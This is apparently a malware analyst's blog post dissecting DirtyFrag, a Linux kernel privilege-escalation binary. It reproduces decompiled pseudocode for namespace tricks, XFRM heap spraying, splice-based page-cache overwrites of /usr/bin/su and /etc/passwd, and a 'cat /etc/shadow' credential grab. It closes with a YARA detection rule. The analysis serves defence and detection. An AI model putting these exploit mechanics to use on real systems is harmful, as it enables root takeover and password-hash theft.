MediumAnalysis of DirtyFrag (Vulnerability) | by Shubho57 | Medium
Sitemap

Analysis of DirtyFrag (Vulnerability)

18 min readJun 1, 2026

--

Summary

  1. The file performs a ton of functions
  2. It also gives the whole process architecture what and how it is being perfumed with the stages
  3. It deploys a lot of different evasion techniques
  4. The sample also gives what type of encryption is being used
  5. It also shows the corrupted function

Analysis of the ELF file

Press enter or click to view image in full size
Press enter or click to view image in full size
Fig 1 — DirtyFrag detected

The Process

  • polkitd (/usr/libexec/polkitd) — this is normally a legitimate Linux PolicyKit daemon, but here it's being impersonated or abused by malware
  • Run as root with --no-debug flag

What It’s Doing

Reading sensitive credential files:

  • Accessing /etc/passwd — contains user account information
  • Accessing /etc/shadow — contains hashed passwords (highly sensitive)
  • This maps to MITRE ATT&CK T1003.008 — OS Credential Dumping: /etc/passwd and /etc/shadow

The Goal

The malware is attempting to steal credentials by reading Linux password files, likely to:

  1. Crack password hashes offline
  2. Identify user accounts for lateral movement
  3. Escalate privileges or persist on the system
Fig 2 — inner workings of the privilege escalation exploit

Figure 1 — Helper Functions

write_proc(arg1, arg2)

  • Opens a file, writes data to it, closes it
  • A utility used to write to /proc filesystem entries — key for namespace manipulation

setup_userns_netns()

  • Calls getuid() and getgid() — gets current user/group IDs
  • Calls unshare(0x50000000) — creates new user + network namespaces
  • This is the core privilege escalation primitive

Figure 2 — UID/GID Remapping

write_proc("/proc/self/setgroups", "deny")
write_proc("/proc/self/uid_map", "0 <uid> 1")
write_proc("/proc/self/gid_map", "0 <gid> 1")

This is the classic unprivileged user namespace UID mapping trick:

  • Denies setgroups first (required by kernel)
  • Maps the current unprivileged user → UID 0 (root) inside the namespace
  • Maps current GID → GID 0 (root) inside the namespace

The process now thinks it’s root inside its namespace.

Figure 3 — Network Namespace Setup

c

strncpy(&var_88, "lo", 0x10)
ioctl(fd, 0x8913, &var_88) // SIOCGIFFLAGS
var_78_1 = var_78 | 0x41 // IFF_UP | IFF_LOOPBACK
  • Opens a socket in the new network namespace
  • Uses ioctl SIOCGIFFLAGS to get loopback interface flags
  • Sets IFF_UP (0x41) — brings up the loopback interface
  • Establishes a functional network namespace for the exploit to operate in

The Full Attack Chain

unshare() new namespace
↓
Map UID/GID → root (0) inside namespace
↓
Set up network namespace with loopback
↓
Exploit kernel from "root" context (DirtyFrag)
↓
Read /etc/passwd + /etc/shadow
Fig 3 — actual kernel exploitation technique

Deep Exploit Mechanics Analysis

This reveals the actual kernel exploitation technique. This is sophisticated.

Figures 1 & 2 — add_xfrm_sa() — IPsec Kernel Object Manipulation

This constructs a XFRM Security Association (kernel IPsec subsystem):

c

inet_addr("127.0.0.1")        // source/dest addresses
htonl(arg1) // SPI (Security Parameter Index)
buf_1[0x12] = 0x32 // protocol
*buf_1 = 0xf0 // XFRM policy type

Crypto algorithms being set:

c

strncpy("hmac(sha256)")       // authentication algorithm
strncpy("cbc(aes)") // encryption algorithm
0x1194 → port 4500 // IPsec NAT-T por

Why this matters:

  • XFRM SA objects are kernel-allocated structures
  • By carefully crafting them with specific sizes and fields, the exploit is grooming the kernel heap
  • Setting up controlled objects at predictable memory locations

Figure 3 — do_one_write() — Socket + Pipe Setup

c

socket(2, 2, 0)               // UDP socket
setsockopt(..., 0x11, 0x64) // IP_TTL = 100
bind("127.0.0.1", port 4500) // bind to IPsec port

This creates the trigger mechanism for the kernel vulnerability.

Figure 4 — The Actual DirtyFrag Exploit

This is the heart of it:

c

vmsplice(fd, &iov, 1, 0)     // splice user memory into pipe
splice(fd_in, &off_in, // splice between file descriptors
fd_out, len: 0x10)
splice(fd_54, nullptr, // final splice with offset manipulation
fd_10, len: 0x28)
usleep(0x249f0) // timing delay (~150ms)

What splice/vmsplice abuse means:

The DirtyFrag vulnerability abuses how the kernel handles page cache fragmentation during splice operations:

vmsplice → injects controlled data into pipe buffer
↓
splice with crafted offset (arg2 = loff_t)
↓
Kernel writes to WRONG page due to fragmentation bug
↓
Overlaps with XFRM SA object on heap
↓
Controlled overwrite of kernel struct = code execution

Full Exploit Chain Summary

User namespace → fake root
↓
Heap spray with XFRM SA objects (known size/layout)
↓
vmsplice + splice with crafted offsets
↓
Kernel heap corruption via page fragmentation
↓
Overwrite kernel struct → privilege escalation
↓
Read /etc/shadow as real root
Fig 4 — Payload Delivery Function

This is the final stage — where the exploit actually delivers its payload.

Figure 1 — Heap Spray with Shell ELF

c

setup_userns_netns()
usleep(0x186a0) // wait ~100ms for namespace setup

Then a loop i = 0 to 0x2f (48 iterations):

c

uint32_t rcx_3 =
zx.d(*(sx.q(i << 2) + &shell_elf)) << 0x18
| zx.d(*(sx.q((i << 2) + 1) + &shell_elf)) << 0x10
| zx.d(*(sx.q((i << 2) + 2) + &shell_elf)) << 8

This is reassembling bytes from &shell_elf — an embedded ELF binary stored inside the malware, being reconstructed word-by-word in memory.

Then:

c

add_xfrm_sa(i - 0x215241f0, rcx_3)
  • Sprays 48 XFRM SA kernel objects
  • Each encodes a chunk of the shell ELF data
  • Offset 0x215241f0 is a calculated kernel heap target address
  • Log: "[su] installed 48 xfrm SAs"

Figure 2 — Overwriting /usr/bin/su

c

do_one_write("/usr/bin/su", rax_40, i - 0x215241f0)

Loops 48 times writing to /usr/bin/su:

  • Uses the splice corruption from before to write at precise offsets
  • Overwrites the real su binary with the embedded shell ELF
  • Log: "[su] wrote 0xc0 bytes to /usr/bin/su starting at 0x0"What This Means — The Complete Picture
Embed malicious ELF inside malware binary
↓
Reconstruct it byte-by-byte in memory
↓
Spray kernel heap with XFRM SA objects containing ELF chunks
↓
Use DirtyFrag splice exploit to write to /usr/bin/su
↓
/usr/bin/su is now a BACKDOOR
↓
Any user running "su" executes attacker's code
Fig 5 — The Exploit Orchestrator

su_lpe_main() — The Exploit Orchestrator

This is the main controller that ties everything together.

Figure 1 — Entry Point & Fork

c

strcmp(arg, "-v") || strcmp(arg, "--verbose")  // verbose flag
getenv("DIRTYFRAG_VERBOSE") // or env variable

The exploit literally names itself — DIRTYFRAG_VERBOSE confirms this is the DirtyFrag CVE exploit.

c

_t pid = fork()
if (pid == 0) // child process
if (corrupt_su() != 0)
status = 2 // exploitation failed
  • Forks a child to run the exploit
  • Parent watches child’s exit status
  • Clean separation so parent survives if child crashes the kernel

Figure 2 — Verification Stage

c

verify_byte("/usr/bin/su", 0x78, 0x31)
verify_byte("/usr/bin/su", 0x79, 0xff)

Checks specific bytes at offsets 0x78–0x79 in /usr/bin/su — these are the shellcode entry bytes it expects to have written. This is the exploit confirming:

"[su] /usr/bin/su page-cache patched (entry 0x78 = shellcode)"

Key detail: “page-cache patched” — it’s modifying the kernel’s page cache, not the actual disk file. This means:

  • ls -la shows original file untouched
  • sha256sum passes
  • Only processes loading /usr/bin/su into memory get the backdoored version
  • Extremely stealthy — filesystem forensics won’t catch it

Figure 3 — do_unshare_userns_netns()

c

unshare(0x50000000)   // CLONE_NEWUSER | CLONE_NEWNET
// Logs: "[+] unshare(USER|NET) OK, real uid=%u"
write_file("/proc/self/setgroups", "deny")
write_file("/proc/self/uid_map", "%u %u 1") // map to root
write_file("/proc/self/gid_map", "%u %u 1") // map to root

Same namespace escalation as before but now with full logging showing the real flow.

Figure 4 — Network Namespace + Capability Gain

c

// Logs: "[+] uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns"
fd = socket(2, 2, 0)
var_48 = 0x6f6c // "lo" in hex (loopback interface name)
ioctl(fd, 0x8913) // SIOCGIFFLAGS - get interface flags
ioctl(fd, 0x8914) // SIOCSIFFLAGS - set interface flags (IFF_UP | 0x41)
// Logs: "[+] lo brought UP in new netns"

Gaining CAP_NET_RAW inside the namespace is critical — it's what allows the XFRM/IPsec socket operations used in the heap spray.

Complete Orchestration Flow

su_lpe_main()
↓
Parse args / check DIRTYFRAG_VERBOSE env
↓
fork() — isolate exploit in child
↓
do_unshare_userns_netns()
→ New USER+NET namespace
→ Map UID/GID → root
→ Gain CAP_NET_RAW
→ Bring up loopback
↓
corrupt_su()
→ Spray 48 XFRM SA objects (heap grooming)
→ vmsplice + splice (DirtyFrag trigger)
→ Overwrite /usr/bin/su PAGE CACHE
↓
verify_byte() — confirm shellcode landed
↓
Parent reaps child, reports success/failure
Fig 6 — RxRPC/AF_ALG Kernel Subsystem Abuse

This is a second exploitation vector — abusing the kernel’s cryptographic and RPC subsystems.

Figure 1 — build_rxrpc_v1_token()

c

rax_1 = time(nullptr)        // current timestamp
*arg1 = htonl(0) // token header
memcpy(&arg1[2], "evil", ...) // literally embeds "evil" as token name
*(var_10_3 + 0x14) = SESSION_KEY // injects session key
var_10_3[8] = htonl(rax_1 + 0x15180) // expiry = now + 86400s (24hrs)
memset(&var_10_3[0xb], 0xcc, 8) // fill with 0xCC (int3 / debug bytes)

Crafting a fake RxRPC v1 authentication token:

  • Named literally "evil"
  • Contains a controlled SESSION_KEY
  • 0xCC bytes are classic shellcode padding / trap bytes
  • 24-hour expiry so the token stays validFigures 2 & 3 — add_rxrpc_key() + alg_open_pcbc_fcrypt()

c

key_add("rxrpc", arg1, &var_218, ...)  // inject fake key into kernel keyring

Adds the malicious token directly into the kernel keyring — persistent across the session.

Then opens crypto socket:

c

socket(0x26, 5, 0)           // AF_ALG socket
strncpy("skcipher") // symmetric cipher type
strcpy("pcbc(fcrypt)") // PCBC mode with fcrypt algorithm
bind(AF_ALG, "pcbc(fcrypt)") // bind to kernel crypto API
setsockopt(0x117, ALG_SET_KEY, arg1, 8) // set encryption key

pcbc(fcrypt) is AFS/RxRPC's encryption — this is specifically targeting the AFS filesystem crypto in the kernel.

Figure 4 — alg_op() — Crypto Control Message Abuse

c

struct msghdr var_a8
msg_control = &var_68
msg_controllen = 0x38
// First cmsghdr:
cmsg_level = 0x117 // SOL_ALG
cmsg_type = 3 // ALG_SET_OP
cmsg_len = 0x14
// Second cmsghdr:
cmsg_type = 2 // ALG_SET_IV
cmsg_len = 0x1c

Sending crafted control messages to the kernel crypto API:

  • Sets operation type (encrypt/decrypt)
  • Injects a controlled IV
  • This is abusing AF_ALG (kernel crypto API socket) to manipulate kernel crypto state

Figure 5 — setup_rxrpc_client()

c

socket(0x21, 2, 2)           // AF_RXRPC socket
setsockopt(0x110, SECURITY_KEY, arg2) // bind fake "evil" key
setsockopt(0x110, MIN_SECURITY_LEVEL, 1) // set security level

Creates an RxRPC client socket using the injected fake key — the kernel now uses the attacker-controlled crypto material for RxRPC operations.

Figure 6 — rxrpc_client_initiate_call()

c

sendmsg(fd, &msg, 0)
// "[+] client sendmsg %zd B"
// "[+] client sendmsg returned EAGAIN (expected; kernel will keep retrying handshake)"

Initiates an RxRPC call that triggers the kernel to retry the handshake — the EAGAIN is expected and intentional, forcing the kernel into a retry loop using the malicious crypto key material.

Why This Second Vector?

Primary path:     DirtyFrag → splice/vmsplice → page cache overwrite
(may fail on patched kernels)

Secondary path: AF_RXRPC + AF_ALG abuse
↓
Inject fake "evil" token into kernel keyring
↓
Bind pcbc(fcrypt) crypto with controlled key/IV
↓
Force kernel handshake retry with malicious crypto material
↓
Trigger crypto subsystem memory corruption
↓
Alternative route to kernel code execution
Fig 7 — The Exploit Trigger Mechanism

This is the synchronized attack orchestrator that times and fires the kernel corruption.

Figure 1 — setup_udp_server()

c

socket(2, 2, 0)                    // UDP socket
var_28:4.d = htonl(0x7f000001) // 127.0.0.1
bind(fd, &var_28, port: arg1)
// "[+] plain UDP fake-server bound :%u"

Sets up a fake UDP server on loopback — this is the receiver side that will catch the kernel’s RxRPC handshake packets, completing the loop needed to trigger the vulnerability.

Figure 2 — do_one_trigger() — Sequenced Attack

c

trigger_seq++
snprintf(&s, "evil%d", trigger_seq) // "evil1", "evil2", "evil3"...
add_rxrpc_key(&s) // inject sequenced fake keys

Injects multiple numbered fake keys into the kernel keyring — this is heap grooming, placing controlled objects at predictable locations.

Get Shubho57’s stories in your inbox

Join Medium for free to get updates from this writer.

c

rax_8 = trigger_seq * 2
port = (rax_8 % 0xc8).w + 0x1e61 // rotates through port range
setup_udp_server(port) // bind fake server on calculated port

Port cycling: 0x1e61 = port 7777, rotating through 200 ports — avoids port conflicts across multiple trigger attempts.

Figure 3 — Race Condition + Checksum Exploit

c

for (i = 0; i <= 3; i++)
udp_recv_to(rax_14, &var_878, 0x800, &var_8f8, timeout: 0x1f4)
break // wait for kernel's handshake packet

Waits for the kernel to send a UDP packet during the RxRPC handshake — synchronization point for the race condition.

c

compute_csum_iv(rax_46, rax_49, 2, &SESSION_KEY, &var_890)

c

compute_cksum(rax_49, rax_52, 1, &SESSION_KEY, &var_890, &x)

Two checksum computations using the injected SESSION_KEY:

  • compute_csum_iv — computes IV for the crypto operation
  • compute_cksum — computes the actual fcrypt checksum

And critically:

c

syscall(0xfa, 3, rax_1)    // sys_exit_group on failure

If the trigger fails — kills the entire process group cleanly, no traces.

The Full Trigger Flow

do_one_trigger()
↓
Inject "evil1" key into kernel keyring
↓
Bind fake UDP server on calculated port
↓
rxrpc_client_initiate_call() → kernel starts handshake
↓
Wait for kernel's UDP handshake packet (race window)
↓
compute_csum_iv() ← controlled SESSION_KEY
compute_cksum() ← controlled SESSION_KEY
↓
Kernel processes forged checksum response
↓
fcrypt crypto routine corrupts kernel memory
↓
Heap object overlaps with XFRM SA spray
↓
Code execution
Fig 8 — cryptanalysis engine

This is something different and very sophisticated — the malware contains its own cryptanalysis engine to crack fcrypt keys.

Figure 1 — fcrypt_user_setkey() — Key Schedule Implementation

c

var_10_15 = (((
(zx.q(*arg2 u>> 1) << 7 | zx.q(arg2[1] u>> 1)) << 7
| zx.q(arg2[2] u>> 1)) << 7
| zx.q(arg2[3] u>> 1)) << 7 ...

This is a bitwise key schedule — rotating and shifting 8 bytes of key material, then:

c

*arg1 = __bswap_32(var_10_15.d)
rax_38 = (0xffe000000000 & var_10_15 << 0x2d) | var_10_15 u>> 0xb
arg1[1] = __bswap_32(rax_38.d)
// repeats 6 more times with cascading rotations

Implementing the actual fcrypt key schedule — 7 rounds of rotate-and-mask operations with byte swapping. This is the exact algorithm used by the Linux kernel’s pcbc(fcrypt) — they've reimplemented it in userspace to brute-force keys offline.

Figure 2 — find_K_offline_generic() — Brute Force Loop

c

var_a0 = fc_splitmix64(&var_b0)     // PRNG — generate candidate key
fcrypt_user_setkey(&var_98, &var_a0) // expand candidate key
fcrypt_user_decrypt(&var_98, &var_a8, arg1) // try decrypting known ciphertext
if (arg3(&var_a8) != 0)
break // found it — checksum matches!

Classic known-plaintext brute force:

  • Generate random key candidate via SplitMix64 PRNG
  • Expand it through the fcrypt key schedule
  • Decrypt the captured ciphertext
  • Check if result passes the checksum validator
  • Repeat until match

Performance logging:

c

clock_gettime(CLOCK_MONOTONIC, &tp)
double speed = zmm0_2 / var_48_1 / 1000000.0
// "[%s %.1fs] iter=%lu (%.2fM/s)"

Tracks millions of keys per second — this is a high-performance cracking loop using AVX-512 (zmm registers = 512-bit SIMD).

Figure 3 — Key Found + Full Output

c

var_120_1 = var_a8.b u<= 0x1f || var_a8.b u> 0x7e ? 0x2e : zx.d(var_a8.b)
// replace non-printable bytes with '.'

When key is found:

"[+] %s found after %lu iters in %.2fs (%.2fM/s) K="
"%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x"
"%02x %c%c%c%c%c%c%c%c"

Prints:

  • K= the recovered key bytes (hex)
  • P= the decrypted plaintext bytes (hex)
  • ASCII representation of plaintext

Uses zmm (AVX-512) registers throughout for vectorized parallel key testing.

What This Means — The Full Attack

RxRPC handshake → capture encrypted packet
↓
Extract ciphertext from pcbc(fcrypt) encrypted data
↓
find_K_offline_generic()
→ fc_splitmix64() generates candidates
→ fcrypt_user_setkey() expands each
→ fcrypt_user_decrypt() tests each
→ AVX-512 SIMD accelerates throughput
↓
Recover SESSION_KEY from RxRPC handshake
↓
Use recovered key to forge auth tokens
↓
Authenticate as any AFS/RxRPC user on the system

Why fcrypt Is Weak Enough To Crack

fcrypt uses 56-bit effective key space — same weakness as DES. With AVX-512 doing parallel operations at tens of millions of keys/second, the full keyspace is exhaustible in hours to days on modern hardware.

Fig 9 — Complete Attack Finale

This is the full end-to-end payload delivery — the most damning code yet.

Figure 1 — /etc/passwd Page Cache Mapping

c

// "[+] mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)"
if (memcmp(rax_33, "root::0:0", 9) == 0)
// "[+] /etc/passwd already patched (root::0:0...)"
return 0

mmaps /etc/passwd directly from page cache — checks if already patched. If root::0:0 is already there, job's done.

c

// "[+] /etc/passwd line 1 first 16 bytes:"
// prints hex dump of current root entry
// "[*] /etc/passwd line 1 (root entry) BEFORE: '"

Logs the before state for verification.

Figure 2 — Byte Sanitization

c

r13_3 = var_1ed u<= 0x1f || var_1ed u> 0x7e ? 0x2e : zx.q(var_1ed)
// replace non-printable with '.'
// "[+] Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x %c%c%c%c%c%c%c%c"

Printing corruption candidates with hex + ASCII — tracking exactly which bytes are being modified at each position.

Figure 3 — Staged Attack Initialization

c

fcrypt_user_decrypt(&var_16c8, &var_1290, &var_1288)
// "[+] fcrypt selftest OK"
var_50_1 = 0x2540be400          // 10 billion iterations max
getenv("LPE_MAX_ITERS") // or override via env
getenv("LPE_SEED") // controllable PRNG seed
var_58_1 = getpid() ^ (time() * 0x100000001)  // random seed
"=== STAGE 1a: search K_A (chars 4-5 := "::") prob ~1.5e-5 ==="

Multi-stage keysearch begins — searching for specific key bytes that will corrupt /etc/passwd chars 4-5 to "::".

Figure 4 — Stage 1c + Predicted Output

"=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:") prob ~5.4e-8 ==="

c

find_K_offline_generic(&var_230, var_50_1,
fc_check_pc_nullok, // validator: checks for null password
&var_218, &var_220,
0x5a5a5a5a5a5a5a5a ^ var_58_1,
&data_40b199)
// "[!] K_C search exhausted"
"[+] Predicted post-corruption /etc/passwd line 1:\n"root"

Predicts exactly what /etc/passwd will look like after corruption — root with no password field.

Figure 5 — Staged Kernel Triggers

"=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 "::") ==="
SESSION_KEY = var_1f8
do_one_trigger(fd_3, var_b4_1, 8)
// "[!] kernel trigger A failed"
"=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 "0:") ==="
SESSION_KEY = var_208
"=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 "0:GGGGGG:") ==="

Three sequential kernel triggers, each writing specific characters into /etc/passwd via the page cache exploit:

  • Trigger A → writes :: at chars 4-5
  • Trigger B → writes 0: at chars 6-7
  • Trigger C → writes 0:GGGGGG: at chars 8-15

Combined result: root::0:0:GGGGGG:/root:/bin/bash — root with no password.

Figure 6 — After State Verification

"[*] /etc/passwd line 1 (root entry) AFTER: '"

Logs the post-corruption state to confirm the write landed correctly.

Figures 7 & 8 — Independent Verification via getent

c

pipe(&fd)
fork()
// child:
dup2(fd_1, 1) // redirect stdout
dup2(fd_1, 2) // redirect stderr
execlp("getent", "getent", "passwd", "root", 0)
// parent:
read(fd, &var_16c8, 0x3ff)
waitpid(pid, &stat_loc_1, 0)
// "[getent passwd root] %s"

Spawns getent passwd root — queries NSS (Name Service Switch) to independently verify the corruption worked through the system's normal auth stack.

"[+] PRIMITIVE proven: root entry has empty passwd field via NSS."

Confirms via NSS that root now has no password — the system’s own auth infrastructure agrees.

c

getenv("DIRTYFRAG_CORRUPT_ONLY")  // stop here if set
getenv("--corrupt-only") // or via CLI flag

Operator can choose to stop at corruption without spawning a shell.

Figure 9 — Stage 4: Root Shell

"=== STAGE 4: spawning interactive root shell via `su` (no password input needed) ==="
fd_4 = posix_openpt(0x102)   // allocate pseudoterminal
grantpt(fd_4) // grant PTY access
unlockpt(fd_4) // unlock PTY
ptsname(fd_4) // get PTY device name
ioctl(0, TIOCGWINSZ, &var_238)   // get terminal window size
ioctl(fd_4, TIOCSWINSZ, &var_238) // set same size on PTY
fork()

Opens a pseudoterminal and forks — preparing to spawn an interactive root shell through the now-passwordless su.

Figures 10 & 11 — Shell I/O Loop + Final Payload

c

getenv("LPE_AUTO_VERIFY")    // auto-run commands flag
while (true)
poll(fds_1, ...) // poll PTY for I/O

c

__builtin_strcpy(&var_16c8,
"id; whoami; cat /etc/shadow | head -2; exit\n")
write(fd_4, &var_16c8, 0x2c)

Auto-executes in the root shell:

bash

id; whoami; cat /etc/shadow | head -2; exit
  • id — confirm UID=0
  • whoami — confirm root
  • cat /etc/shadow | head -2 — steal root + first user's password hashes
  • exit — clean exit

The Complete rxrpc_lpe_main() Kill Chain

mmap /etc/passwd page cache
↓
fcrypt selftest → confirm crypto works
↓
STAGE 1: Offline key search (find K_A, K_B, K_C)
→ Keys that corrupt specific byte positions
↓
STAGE 2: Three kernel triggers (A→B→C)
→ Write "::" "0:" "0:GGGGGG:" into page cache
→ /etc/passwd root entry: password field → EMPTY
↓
STAGE 3: getent passwd root → verify via NSS
→ "PRIMITIVE proven: root entry has empty passwd"
↓
STAGE 4: posix_openpt → PTY → fork → su
→ No password needed → root shell
↓
Auto-execute: id; whoami; cat /etc/shadow
→ Exfiltrate shadow hashes

The Elegance of This Attack

The entire /etc/passwd corruption happens only in the kernel page cache — the file on disk is never touched. The exploit mathematically calculates exactly which fcrypt keys will produce the right ciphertext to overwrite specific character positions, then uses the RxRPC kernel trigger to land those bytes precisely. It's not brute forcing the filesystem — it's surgically crafting cryptographic keys that produce a desired plaintext output at exact memory offsets.

Fig 10 — The Top-Level Orchestrator

This is the entry point that ties the entire exploit together.

Figure 1 — Patch Detection Functions

su_already_patched()

c

fd = open("/usr/bin/su", O_RDONLY)
pread(fd, &buf, 8, offset: 0x78) // read 8 bytes at offset 0x78
memcmp(&buf, &su_marker, 8) == 0 // check for shellcode marker

Checks if /usr/bin/su page cache is already backdoored — skips re-exploitation if so.

passwd_already_patched()

c

open("/etc/passwd", O_RDONLY)
// checks for "root::0:0"

Checks if /etc/passwd is already corrupted — idempotent design, safe to run multiple times.

Figure 2 — main() Argument Parsing

c

getenv("DIRTYFRAG_VERBOSE")      // verbose mode
// CLI flags:
"--force-esp" // force ESP exploit path
"--force-rxrpc" // force RxRPC exploit path
"-v" / "--verbose" // verbose output

Two exploit paths selectable by operator:

  • --force-esp → uses the splice/vmsplice (DirtyFrag) path
  • --force-rxrpc → uses the RxRPC/fcrypt crypto path

Figure 3 — The Decision Tree

c

if (var_24_1 s> 2)
break // max retries exceeded
result = rxrpc_lpe_main(var_3c, var_30)   // try RxRPC path
var_24_1 += 1 // increment attempt counter
else
result = su_lpe_main(var_3c, var_30) // try su/splice path

Retry loop — tries up to 3 times, alternating between exploit paths.

c

rax_45 = either_target_patched()  // check if EITHER attack succeeded

Single function checking both /usr/bin/su and /etc/passwd — if either is patched, the exploit succeeded.

c

if (rax_45 != 0)
run_root_pty() // spawn root shell
return 0 // clean exit
dprintf(2, "dirtyfrag: failed (rc=%d)\n", result)  // stderr
if (result == 0)
return 1
return result

The Complete Top-Level Flow

main()
↓
Parse: --force-esp / --force-rxrpc / --verbose
↓
Check: su_already_patched() || passwd_already_patched()
→ if yes: skip straight to run_root_pty()
↓
Retry loop (up to 3 attempts):
├── rxrpc_lpe_main() ← RxRPC/fcrypt crypto path
└── su_lpe_main() ← DirtyFrag splice path
↓
either_target_patched()
→ /usr/bin/su backdoored?
→ /etc/passwd root::0:0?
↓
run_root_pty() ← interactive root shell
→ id; whoami; cat /etc/shadow

Conclusion

This sample is a sophisticated, multi-stage Linux kernel Local Privilege Escalation tool explicitly named DirtyFrag, targeting Ubuntu 22 systems. It is not a proof-of-concept — it is a weaponized, operator-controlled attack toolkit with dual exploitation paths, built-in retry logic, stealth page-cache-only persistence, and automated credential harvesting. The level of engineering — AVX-512 accelerated cryptanalysis, precise heap grooming, mathematically derived corruption keys — indicates a skilled, well-resourced threat actor

MITRE ATT&CK

IOCs

YARA Rule

rule DirtyFrag_Linux_LPE {
meta:
description = “Detects DirtyFrag Linux kernel LPE exploit”
author = “Subhankar H.”
date = “2026–05–26”
hash_md5 = “B45D5231F47699827D1D0CD0FF04F9C32”
severity = “CRITICAL”
os = “Linux”

strings:
// Operator environment variables
$env1 = “DIRTYFRAG_VERBOSE” ascii
$env2 = “DIRTYFRAG_CORRUPT_ONLY” ascii
$env3 = “LPE_MAX_ITERS” ascii
$env4 = “LPE_SEED” ascii
$env5 = “LPE_AUTO_VERIFY” ascii

// Kernel keyring token names
$token = “evil%d” ascii

// Exploit stage markers
$stage1 = “STAGE 1a: search K_A” ascii
$stage2 = “STAGE 2a: kernel trigger A” ascii
$stage3 = “PRIMITIVE proven: root entry has empty passwd” ascii
$stage4 = “STAGE 4: spawning interactive root shell” ascii

// Crypto subsystem abuse
$crypto1 = “pcbc(fcrypt)” ascii
$crypto2 = “hmac(sha256)” ascii
$crypto3 = “add_xfrm_sa” ascii

// Credential harvesting command
$cmd = “id; whoami; cat /etc/shadow | head -2; exit” ascii

// XFRM spray log
$xfrm = “[su] installed %d xfrm SAs” ascii

// Patch check strings
$patch1 = “/usr/bin/su” ascii
$patch2 = “root::0:0” ascii

condition:
uint32(0) == 0x464C457F // ELF magic
and (
( 3 of ($env*) )
or ( $stage1 and $stage2 )
or ( $stage3 and $stage4 )
or ( $cmd )
or ( $xfrm and $crypto1 )
or ( $token and $patch2 )
)
}

Happy Reading!!!

Shubho57
Shubho57

Written by Shubho57

I am an early stage Malware Analyst and Threat Researcher, with a bit of interest in Threat Detection and Digital Forensics